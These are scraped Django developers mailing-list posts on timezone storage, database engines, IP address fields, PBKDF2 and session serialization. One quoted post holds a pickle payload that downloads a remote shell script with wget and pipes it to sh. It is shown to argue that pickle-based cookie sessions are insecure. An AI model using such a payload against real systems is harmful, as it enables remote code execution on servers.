On Jun 30, 5:12 pm, Andy Dustman wrote: > Uh, no. -00-00 is specifically an illegal value in MySQL. Invalid > dates are converted to -00-00 unless you are in strict mode, in > which case they raise error conditions. The actual supported range is > from 1000-01-01 to > -12-31.http://dev.mysql.com/doc/refman/5.0/en/datetime.html I stand corrected. I stopped used MySQL for anything important back around version 3.something, after it ate my data once too often. The fact remains however that Postgres handled a much broader date range, including dates before the dark ages, and that it properly understands timezones. Timezones have existed since before the Unix epoch. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Timezone-aware storage of DateTime
On Jun 30, 6:31 pm, Ian Clelland wrote: > As a counterexample, I have needed to store wall-clock time as well as time > zones for future events, in scheduling applications. It is exactly because > of the unpredictability of future DST changes (and, in very rare cases, > wholesale time zone changes) that a one-time UTC conversion simply does not > work for timestamps in the future. > > When an event is scheduled for a specific time, on a specific date in the > future, then users expect that the web service will react at the appropriate > wall clock time. An unforseen change in daylight saving time legislation > should not have the effect of making the time in the database incorrect. That is a good example, which I agree with. Although it sounds like more of a case for storing the date and time as separate fields (which is already feasible), since Python dates and times on their own have no tzinfo struct... only the combined datetime does (whether or not it includes hours/mins/secs components). -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Timezone-aware storage of DateTime
On Jun 30, 7:45 pm, Andy Dustman wrote: > Since 4.0 came out in the late 1990s, isn't is possible that things > have improved somewhat over your dozen year gap of ignorance? > > (I'll stop feeding trolls now) No, it's a perfectly reasonable question that you ask. If I remember correctly, 4.0 was even scarier than 3.23, and as such we avoided it. The application in question was a RADIUS server backend, and it would quite regularly lose about a few hundred thousand rows when the DB got to over several million rows. Last year a customer's MySQL 5.1 server (not our choice), running on OpenSolaris, corrupted itself irreparably when it hit about 75 million rows of CDR data. When the system was decommissioned a few months ago, the upstream Postgres DB server was still happily chugging away with over 96 million rows. We never lost a single record from that server. Now I don't know whether we were making unreasonable demands of MySQL, and these kinds of workloads are certainly not your typical blog or web forum DB. But before somebody proposes a database jihad, let me at least say that I'm trying to ensure that whatever offshoot arises from this discussion, is equally well supported on all of Django's current core DB engines... at least, as equally well as possible, given the various DB engine characteristics. I choose not to use MySQL based on past (and recent) experience with it, but as always, YMMV. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
FilePathField and stale choices
This problem was raised at least twice [1] [2] back in 2009 on django- users, and neither post was answered. If FilePathField is used declaratively for a form's field(s), it does not get called for each instantiation of that form - only the first time the form is used. Consequently, the choices may show files that have since been deleted, and fail to show files that have since been added to the directory. One of the users who raised this issue wrote that he has to reload his server... to get updated files to show. Should the docs perhaps reflect this, and maybe advise people to dynamically add FilePathFields to their form.__init__() if they want them to always be minty fresh? Or can we perhaps even add an option to FilePathField that would refresh the choices each time? I'm not entirely sure how that would work... proxy function maybe? [1]: http://groups.google.com/group/django-users/browse_thread/thread/6778fa138b848996 [2]: http://groups.google.com/group/django-users/browse_thread/thread/403d872cf9433905 -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: FilePathField and stale choices
On Jul 7, 1:04 am, Luke Plant wrote: > That sounds like a reasonable idea to me, since doing it by default > could impose a serious performance hit. In it's most naive form (i.e. > making the 'choices' attribute a lazy list using > django.utils.functional.lazy) this wouldn't be too hard to implement. > > Feel free to open a ticket for this. > Done - https://code.djangoproject.com/ticket/16429 -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Storing IP address as integer within database to remove need for full text search
The snippet seems to have been removed (returns "page not found"). I was curious to have a look at how you were handling this. For sure, Postgres has native support for ipv4 and ipv6 address storage. AFAIK, MySQL does not... although could store an ipv4 address in a 32-bit unsigned int field. I don't know of any DB engines that support 128 bit ints however (for ipv6). Django 1.4 alpha already uses Postgres' 'inet' field type for IPAddressField and GenericIPAddressField. Other DB backends use varchar(15) and varchar(39) respectively - which probably leads to some interest sorting side effects. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Storing IP address as integer within database to remove need for full text search
On Jul 19, 2:16 pm, "Cal Leeming [Simplicity Media Ltd]" wrote: > If I was to continue using MySQL for ipv6 storage, I'd probably create a > table with a column for each byte, convert to an int, and apply a unique > index to them all. I think MySQL supports 64 bit ints, so you could split an ipv6 address into two 64 bit chunks (since IETF discourages allocation of blocks smaller than /64 anyway). But yeah... I prefer to use Postgres too ;-) -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Multiple timezone support for datetime representation
I'm wholeheartedly on +1 on this. @Anssi Kääriäinen, re your localtime meeting example: this type of scenario has been discussed on this list previously, and the generally acknowledged solution is to use separate date and time fields, neither of which (on their own) have a concept of timezone. @Aymeric Augustin, re storing UTC in Postgres: this is somewhat moot, since Postgres stores timestamps internally as a UTC Julian date regardless of which timezone the client connection uses (client TZ offset is dynamically added/subtracted at insert/update/select-time). In the case of MySQL and SQLite however, it is a valid point. I can understand some people's concerns about the dependency requirement of pytz in order to achieve this. It would have been great to see pytz added to the standard Python libs in 3.x, since (IMHO) it's such a fundamental requirement of any language these days. In any case, it will be great to see Django's international date/time handling be on a par with its L10N and I18N features. On Sep 4, 12:48 am, Mikhail Korobov wrote: > Great job on summarizing the issue! > > I have one concern though. Can you please explain why is USE_TZ option > better than introducing e.g. UtcDateTimeField? > > USE_TZ=True will break all existing code (including external apps) which > relies on django 1.3 documented DateTimeField behavior, this can be scary > and will introduce a lot of "if getattr(settings, USE_TZ, False): #..." > statements in external apps for backwards compatibility. > > Good UtcDateTimeField implementation can be released as a separate package > (and then eventually included in django itself). This way existing django > projects will be able to use it without waiting for a release and backwards > compatibility won't be broken. Are there obstacles in django itself that > prevent this option? -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Multiple timezone support for datetime representation
On Sep 6, 10:47 pm, Aymeric Augustin wrote: > Under PostgreSQL, I assume I have to use a TIMESTAMP WITH TIME ZONE and set > the connection's timezone to UTC if I want non-Django applications using the > same database to obtain correct results, regardless of their connection's > timezone. To be honest, this is pure speculation; I must check this for each > database engine. Django defaults to "timestamp with time zone" for DateTimeFields on Postgres. Django also explicitly sets the client connection timezone to that specified in settings.py, however normal behaviour for a Postgres client is to inherit the TZ of the host that the client is running on. Naive timestamps (eg. without timezone) in an INSERT are assumed to be of the client connection timezone. SELECTs of "timestamp with time zone" output the UTC offset, for example, immediately after connecting, and without manually specifying the TZ, psql inherits my host's TZ (Europe/Berlin): talk2=> select id, last_login, date_joined from auth_user where id=1; id | last_login | date_joined +---+ 1 | 2011-09-05 18:43:38.050294+02 | 2008-05-03 02:29:14+02 I can change to another TZ easily: talk2=> set timezone to 'America/Chicago'; SET talk2=> select id, last_login, date_joined from auth_user where id=1; id | last_login | date_joined +---+ 1 | 2011-09-05 11:43:38.050294-05 | 2008-05-02 19:29:14-05 Notice the timestamps are different, and have a -05 UTC offset now instead of a +02. So if you want non-Django applications to use the DB, you just need the application to be aware of the UTC offset included in the output, and apply that accordingly. Or if you prefer, you can indeed just set the client connect TZ to UTC: talk2=> set timezone to UTC; SET talk2=> select id, last_login, date_joined from auth_user where id=1; id | last_login | date_joined +---+ 1 | 2011-09-05 16:43:38.050294+00 | 2008-05-03 00:29:14+00 The main point is that whilst the internal storage of timestamps in Postgres is UTC Julian dates, the output is always rendered as localtime for the client connection TZ, whatever that may be. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Multiple timezone support for datetime representation
On Sep 8, 5:55 am, Kirit Sælensminde (kayess) wrote: > There is also a Django time field. How to handle this is kind of hard > as having a timezone on a time field may not make much sense. At the > moment it is up to application code to combine this with a date in a > sane manner. If Django switches to use UTC internally then this is > going to become harder for many users to do correctly. Maybe some > library functions that will help them to do this will work? Whilst both the Python datetime.time type and the Postgres 'time with time zone' column type support a TZ, I personally feel that it only makes sense to attach TZ info for datetime.datetime (eg. 'timestamp with time zone'). Other people have raised the point before about the need to retain some way of expressing "wall clock time", and I *think* separate date and time fields address that issue reasonably well. Let's say we were to use TZ with simple datetime.time types. A user in America/Chicago (UTC-05) inputs a time of 18:00. This gets normalized to UTC and stored as 23:00. A user in Australia/Sydney (UTC+10) wishes to view that information, and sees the value localized for them as 09:00 - *the next day*. This is why I think it's best to leave TZ out of simple date or time types, and only use it on datetime types, that treat the concept of time as a constant, linear progression that is relative to the observer, not the event that takes place. The normalization to UTC is really only a factor for databases (or serializers) that don't already do their own internal storage as UTC. The application developer should be unaware that it was stored as UTC, since they are provided a non-naive datetime with tzinfo attached, which they can then localize to any other TZ they wish. > The other thing that ought to be thought about with this is the admin > time/date widgets which have the 'now' link. This is always filled in > with the browser's current time which plays havoc when admin is used > by a user in a different time zone to the site's settings. It should > be possible to capture the UTC offset along with the time so that the > correct number of minutes is added/subtracted when the field is > processed by Django. Thankfully daylight savings can be ignored here. If admins (or users) are inputting localized datetimes, the app will need to know their timezone, or apply a default system-wide timezone. I don't see this as much different from the way that the language cookie is used. Perhaps a formfield could allow for the specification of a UTC offset in the input, eg "2011-09-08 16:02+02" and extract that offset from the input. DST is irrelevant since UTC offset is not the same as timezone. A location's timezone is the same all year round, but the UTC offset changes at various times of the year if that timezone observes DST. That's part of the information provided by the Olson tzdata database. Usually when a timestamp shows a UTC offset, any DST offset is included in that UTC offset, so it can still be normalized to UTC regardless of DST being in effect or not. > Many browsers will send the local time of the request to the server. > This can be used to guess the correct timezone, but it won't get > things right (there's no way to work out the correct DST setting from > this). If the country can be identified in some way then the two > together should be good for most users. The UTC offset in the request > is all that's needed to get localize any times that are sent back > though as again, daylight savings can be ignored -- so long as we > aren't rash enough to presume that this offset tells us the actual > time zone. The JavaScript Date() object has several methods that could be useful here, including getTimezoneOffset(), which returns difference between UTC and local time, in minutes. Remember that Postgres is not storing the timezone. It's not even storing the UTC offset. The timezone is only a client connection "environment var", that gets added/subtracted to timestamps as they are input or retrieved. Likewise I don't think the objective here is to store a TZ with the DateTimeField, but rather just to have UTC offset information available during handling, that facilitates the normalization to/from UTC for non-TZ-capable databases. Whether that UTC offset information is in the form a full timezone name, such as America/Chicago, or simply a UTC offset such as UTC-05, is not particularly relevant. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Improved password hashing for 1.4
On Sep 10, 5:54 am, Paul McMillan wrote: > > The default password hashing algorithm will be changed to PBKDF2. > We'll include a pure python implementation, but preferably load faster > versions if available at the system level. > Having recently written a Python implementation of PBKDF2 myself, I'd just like to quietly point out that it is not a hashing algorithm. It is a Key Derivation Function. That is, it's a way of generating key material for crypto functions, from a password source. PBKDF2 makes use of a hashing algorithm (SHA1 by default), and repeatedly hashes a password plus salt to effectively "stretch" the number of bits in a password, and generate longer keys for crypto algorithms such as AES. The greater the number of rounds of hashing, the more the original password is "stretched", costing an attacker more computing time in the process. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Improved password hashing for 1.4
On Sep 10, 11:36 pm, Paul McMillan wrote: > Yes, you're absolutely right. My choice of words was incorrect. Is > your python implementation licensed in such a way that we could > consider including it in Django? We've looked at a couple > implementations now, having another option would be helpful. License? What license? Heheh... my PBKDF2 implementation is solely being used by an in-house Django app. I haven't open sourced it, but am perfectly willing to let you guys pick over the PBKDF2 class and include it in Django if you so desire. It even includes unit tests for RFC 3962. Paul, I'll contact you off-list. MfG Daniel -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Improved password hashing for 1.4
On Sep 12, 2:58 am, Jacob Kaplan-Moss wrote: > > If you're going to let Paul look at your work, please make sure you've > read and signed a CLA (https://www.djangoproject.com/foundation/cla/) > covering the code in question. Jacob, you're absolutely right, and I should really be a bit more organized with sticking licenses on code that I write. It just so happens that this particular piece of code is quite new, and associated with a long-running project that I've developed in my own time, and which has never really been let out of the lab. I will follow up on that CLA. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Removing pickle from cookie-based session storage
On Oct 2, 2:31 pm, Paul McMillan wrote: > data = "cos\nsystem\n(S'wget -q -O - subversivecode.com/evil.sh | sh'\ntR.'" > import pickle; pickle.loads(data) > Some workarounds for Pickle's execution of arbitrary code are proposed here http://nadiana.com/python-pickle-insecure Also note one of the comments on that post points out that JSON converts all strings to unicode, and therefore cannot accurately restore byte-strings. I'd have to check through some of my own apps, but I suspect there may be users who are storing complex Python objects in sessions, whose code would break if Pickle was dropped. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Check-in #5 / Multiple timezone support for datetime representation
On Oct 16, 11:48 am, Aymeric Augustin wrote: > Hello, > > I've implemented the storage and retrieval of aware datetime objects in > SQLite. This involved some refactoring, because SQLite returns datetimes as > strings, and I didn't want to duplicate the parsing code. All database > backends are now covered. > Is it worth looking at registering a custom converter for SQLite (http://docs.python.org/library/sqlite3.html#converting-sqlite-values- to-custom-python-types) to handle the date objects? Converters can be registered per-column - the SELECT query would need to be tweaked to hint to the SQLite libs to call the registered converter. I'm not sure if that would be too intrusive to the existing Django query builder. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
